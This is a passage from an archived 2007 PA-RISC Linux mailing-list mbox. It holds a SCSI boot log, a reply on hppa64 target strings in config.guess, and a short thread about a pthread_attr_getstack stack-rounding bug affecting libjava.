main unit, but to extension cards, so I don't think we'll be able to use
them as boot media.

And how is it possible, that such an old machine loads modules for USB
storage at boot up? I haven't found any USB ports...  ;-)

cu
Dieter

--------------030003050401090109000400
Content-Type: text/plain;
 name="hp1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="hp1"

zalon_probe: Zalon version 1, IRQ 66
ncr53c720-0: rev 0xf irq 66
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g
zalon_probe: Zalon version 1, IRQ 67
ncr53c720-1: rev 0xf irq 67
ncr53c720-1: ID 7, Fast-10, Parity Checking, Differential
scsi1 : ncr53c8xx-3.4.3g
zalon_probe: Zalon version 1, IRQ 68
ncr53c720-2: rev 0xf irq 68
ncr53c720-2: ID 7, Fast-10, Parity Checking, Differential
scsi2 : ncr53c8xx-3.4.3g
zalon_probe: Zalon version 1, IRQ 69
ncr53c720-3: rev 0xf irq 69
ncr53c720-3: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-3: suspicious SCSI data while resetting the BUS.
ncr53c720-3: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o = 0x20120, expecting 0x100
ncr53c720-3: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE POWER etc.!
ncr53c720-3: detaching...
zalon_probe: Zalon version 1, IRQ 69
ncr53c720-3: rev 0xf irq 69
ncr53c720-3: ID 7, Fast-10, Parity Checking, Differential
scsi4 : ncr53c8xx-3.4.3g
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi5: 53c710 rev 2
scsi5 : LASI SCSI 53c700
scsi 5:0:2:0: CD-ROM            TOSHIBA  CD-ROM XM-4101TA 1084 PQ: 0 ANSI: 2
 target5:0:2: Beginning Domain Validation
 target5:0:2: asynchronous
 target5:0:2: FAST-5 SCSI 4.2 MB/s ST (236 ns, offset 8)
 target5:0:2: Domain Validation skipping write tests
 target5:0:2: Ending Domain Validation

--------------030003050401090109000400
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------030003050401090109000400--



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <varenet@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 21:15:48 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <7d01f9f00709061215q721df5b4wa7b8a0b96eaf491__7738.68083856559$1416624441$gmane$org@mail.gmail.com>
References: <200709042148.l84LmnE5017739@hiauly1.hia.nrc.ca>
	 <200709061511.38991.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624441 25325 80.91.229.3 (22 Nov 2014 02:47:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 "Matthias Klose" <doko@cs.tu-berlin.de>,
 debian-hppa@lists.debian.org
To: "Mike Frysinger" <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Sep 2007 19:32:50 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx038) with SMTP; 06 Sep 2007 21:32:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 44D8E2E2A1; Thu,  6 Sep 2007 19:39:51 +0000 (UTC)
Old-Return-Path: <varenet@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-1.6 required=4.0 tests=BAYES_00,SPF_PASS 
	autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.233])
	by murphy.debian.org (Postfix) with ESMTP id EAC372DF01
	for <debian-hppa@lists.debian.org>; Thu,  6 Sep 2007 19:23:02 +0000 (UTC)
Original-Received: by wr-out-0506.google.com with SMTP id 71so135611wri
        for <debian-hppa@lists.debian.org>; Thu, 06 Sep 2007 12:15:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
        bh=qwe3lKZiLRX5T7JS8CBmR0bvLZufo6SCgW+pdNb2/Uc=;
        b=jxPN+JlVGSkw9qp5WaLdaXl8mEtSF3+RwFGGtrfZ11HoL1mqAgbssFsRXifOLlLOjx/pZQ+2dTzlS5jAuA/WluNTAQB/eZjJLGLZ3J1gVbZzLI4AeH1ZVTuLHw3MBaSp1dVcXkrwZ/O7aZ7RDtWDTUc8KrXn6DFoYpGOL9jUzvI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
        b=YUSD0a751nE7UHUQHaXFOIMoKO+r+IsCQ6iMGFizcX/kKVjGk3bJPRNWvFqMo6EXpDcB2mnuBQL5jQuideLAper5K87jDX+gqzHMOMbkqI1Op2H/k/JKcYg52ioyS+KdWQMW7sq60PGu4yRmiZ2KiiR7T+P59utZcjBiT4/OO4I=
Original-Received: by 10.100.128.8 with SMTP id a8mr1077759and.1189106148892;
        Thu, 06 Sep 2007 12:15:48 -0700 (PDT)
Original-Received: by 10.100.46.13 with HTTP; Thu, 6 Sep 2007 12:15:48 -0700 (PDT)
In-Reply-To: <200709061511.38991.vapier@gentoo.org>
Content-Disposition: inline
X-Rc-Spam: 2007-05-24_01
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <Q8YRND.A.YVB.HeF4GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5929
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  6 Sep 2007 19:39:51 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 22fTcpohX1VoOOuYY2Fyhlx3SDc4NMwW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24807

On 9/6/07, Mike Frysinger <vapier@gentoo.org> wrote:
> On Tuesday 04 September 2007, John David Anglin wrote:

> > Nominally, the first part of the target string represents the
> > architecture of the kernel, and not the userspace architecture.
> > This is not sufficient to configure runtime applications when multiple
> > architectures are supported by one kernel.
>
> i'm not terribly familiar with the breadth of the parisc family, but isnt
> 64bit only available with 2.0 ?  so it'd be pretty clean on Linux to say:
> hppa64-*-linux-* means 64bit userland, everything else is 32bit

Seems you misunderstood jda's above comment. We do not have a 64bit
userland on hppa. the 'hppa64' part of the target string represents
the architecture of the /kernel/. 64bit kernels run a 32bit userland,
hence hppa64-linux should be treated (so far) as hppa-linux.

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pthread_attr_getstack(): SEGV using ptr stack_addr -
	stack_size
Date: Sat, 15 Sep 2007 14:32:31 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200709151832.l8FIWWBw007130__4877.285360317$1416624442$gmane$org@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624442 25330 80.91.229.3 (22 Nov 2014 02:47:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Sep 2007 18:33:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 15 Sep 2007 20:33:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7537B7DC8D;
	Sat, 15 Sep 2007 12:33:05 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2xpKZnuWGj+t; Sat, 15 Sep 2007 12:33:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A26CF7DC3A;
	Sat, 15 Sep 2007 12:32:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 409187DBD0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Sep 2007 12:32:48 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id eCWMBWTbBhLY for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Sep 2007 12:32:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B031B7DBBD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Sep 2007 12:32:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l8FIWX1x007136;
	Sat, 15 Sep 2007 14:32:33 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l8FIWWBw007130;
	Sat, 15 Sep 2007 14:32:32 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VBfKbvrOLi5mI/fRZWtp6ThjZml1ZJgO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24808

Carlos,

We have a problem with libjava.  The details are here:
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=33442

The problem seems to be pthread_attr_getstack.  It looks like
we aren't rounding the returned stack_addr value correctly to
ensure that stack_addr - stack_size is equal to or larger than
the stack base for a thread.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread_attr_getstack(): SEGV using ptr
	stack_addr - stack_size
Date: Sun, 16 Sep 2007 12:17:13 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <119aab440709160917q1451a561i3e7724edfa89fedc__16142.6896848299$1416624442$gmane$org@mail.gmail.com>
References: <200709151832.l8FIWWBw007130@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624442 25333 80.91.229.3 (22 Nov 2014 02:47:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Sep 2007 16:17:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 16 Sep 2007 18:17:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9B697DD1F;
	Sun, 16 Sep 2007 10:17:42 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id KyXhJo5KXir0; Sun, 16 Sep 2007 10:17:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 752D37DCE1;
	Sun, 16 Sep 2007 10:17:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 202637DCDB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Sep 2007 10:17:25 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id nneDXpm+trd5 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Sep 2007 10:17:14 -0600 (MDT)
Original-Received: from rv-out-0910.google.com (rv-out-0910.google.com [209.85.198.186])
	by free.linux.hp.com (Postfix) with ESMTP id 869EF7DCCE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Sep 2007 10:17:14 -0600 (MDT)
Original-Received: by rv-out-0910.google.com with SMTP id b22so1269235rvf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Sep 2007 09:17:13 -0700 (PDT)
Original-Received: by 10.140.128.3 with SMTP id a3mr555680rvd.1189959433722;
	Sun, 16 Sep 2007 09:17:13 -0700 (PDT)
Original-Received: by 10.141.85.1 with HTTP; Sun, 16 Sep 2007 09:17:13 -0700 (PDT)
In-Reply-To: <200709151832.l8FIWWBw007130@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 22ff4ef614122306
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fBOnAZoOa2A6a7vDOHQylwIyOWhhaofL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24809

On 9/15/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> Carlos,
>
> We have a problem with libjava.  The details are here:
> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=33442
>
> The problem seems to be pthread_attr_getstack.  It looks like
> we aren't rounding the returned stack_addr value correctly to
> ensure that stack_addr - stack_size is equal to or larger than
> the stack base for a thread.

I will look into this. Thanks Dave. Would you like a patch against the
current debian glibc? The  patch I checkin upstream won't be much use
for you :-)

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread_attr_getstack(): SEGV using ptr
	stack_addr - stack_size
Date: Sun, 16 Sep 2007 12:36:41 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200709161636.l8GGagbF025937__41765.7079328366$1416624442$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440709160917q1451a561i3e7724edfa89fedc@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624442 25335 80.91.229.3 (22 Nov 2014 02:47:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Sep 2007 17:04:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 16 Sep 2007 19:04:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CE327DD7C;
	Sun, 16 Sep 2007 11:04:56 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 0Bqu2vCgmlwk; Sun, 16 Sep 2007 11:04:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B7827DCEB;
	Sun, 16 Sep 2007 11:04:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 652137DCDF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Sep 2007 11:04:40 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id O7S+7RTUA99M for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Sep 2007 11:04:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3BD417DB94
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Sep 2007 11:04:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l8GH4RH9029817;
	Sun, 16 Sep 2007 13:04:28 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l8GGagbF025937;
	Sun, 16 Sep 2007 12:36:42 -0400 (EDT)
In-Reply-To: <119aab440709160917q1451a561i3e7724edfa89fedc@mail.gmail.com>
	from "Carlos O'Donell" at Sep 16, 2007 12:17:13 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XwuIB6EdfW4pfuWveGVopB1mdmllcgXX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24810

> I will look into this. Thanks Dave. Would you like a patch against the
> current debian glibc? The  patch I checkin upstream won't be much use
> for you :-)

Yes, please.

Something changed a couple of days ago to trigger this.  There might
be a kernel issue.  The two systems that I'm seeing this on are running
2.6.22.6.  gsyprf11 running 2.6.22.1 seems unaffected so far.  However,
the problem appeared sometime after updating to 2.6.22.6.  All systems
are running debian lenny.

Thanks,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pdc.h header export
Date: Wed, 19 Sep 2007 15:35:28 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <5b2e36650709191535m138a3398n7fe054b896c5bded__19501.1390060701$1416624443$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_22710_773733.1190241328928"
X-Trace: ger.gmane.org 1416624443 25337 80.91.229.3 (22 Nov 2014 02:47:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:23 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Sep 2007 22:36:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 20 Sep 2007 00:36:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 128CE7E01A;
	Wed, 19 Sep 2007 16:36:05 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tq-9NYaGgEiz; Wed, 19 Sep 2007 16:36:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A6277E016;
	Wed, 19 Sep 2007 16:35:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CD2C7E014
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Sep 2007 16:35:47 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Wf1URb8+u3I1 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Sep 2007 16:35:32 -0600 (MDT)
Original-Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.233])
	by free.linux.hp.com (Postfix) with ESMTP id 6A30F7DF83
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Sep 2007 16:35:32 -0600 (MDT)
Original-Received: by nz-out-0506.google.com with SMTP id j2so294810nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Sep 2007 15:35:32 -0700 (PDT)
Original-Received: by 10.142.128.6 with SMTP id a6mr546809wfd.1190241328948;
	Wed, 19 Sep 2007 15:35:28 -0700 (PDT)
Original-Received: by 10.143.158.2 with HTTP; Wed, 19 Sep 2007 15:35:28 -0700 (PDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
